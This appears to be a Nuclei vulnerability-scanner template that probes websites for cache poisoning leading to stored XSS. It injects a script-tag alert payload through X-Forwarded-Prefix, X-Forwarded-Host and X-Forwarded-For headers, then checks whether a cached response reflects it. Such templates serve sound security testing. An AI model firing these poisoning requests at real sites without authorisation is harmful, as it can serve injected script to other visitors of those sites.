38 lines
1.3 KiB
YAML
38 lines
1.3 KiB
YAML
id: cache-poisoning-xss
|
|
|
|
info:
|
|
name: Cache Poisoning - Stored XSS
|
|
author: melbadry9,xelkomy,akincibor
|
|
severity: high
|
|
description: Cache Poisoning leads to Stored XSS.
|
|
reference:
|
|
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
|
|
- https://portswigger.net/research/practical-web-cache-poisoning
|
|
- https://portswigger.net/web-security/web-cache-poisoning
|
|
metadata:
|
|
max-request: 2
|
|
tags: cache,generic,xss
|
|
variables:
|
|
cache_key: "{{to_lower(rand_base(6))}}"
|
|
cache_header: "{{to_lower(rand_base(6))}}"
|
|
xss_payload: '"></script><script>alert(document.domain);</script>'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /?{{cache_key}}=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Forwarded-Prefix: {{cache_header}}.xfp{{xss_payload}}
|
|
X-Forwarded-Host: {{cache_header}}.xfh{{xss_payload}}
|
|
X-Forwarded-For: {{cache_header}}.xff{{xss_payload}}
|
|
- |
|
|
GET /?{{cache_key}}=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(body_2, cache_header)
|
|
- contains(body_2, xss_payload)
|
|
condition: and
|
|
# digest: 4b0a00483046022100b5f18ba48e57ac137d90167ba6544c2124b2a825663b32f7dbb0913847a4e1e5022100b36d3d1ff42c3f31e37b5db4eb447bd7f2c60d26a2a3c4181abb4073bb16f3c6:922c64590222798bb761d5b6d8e72950 |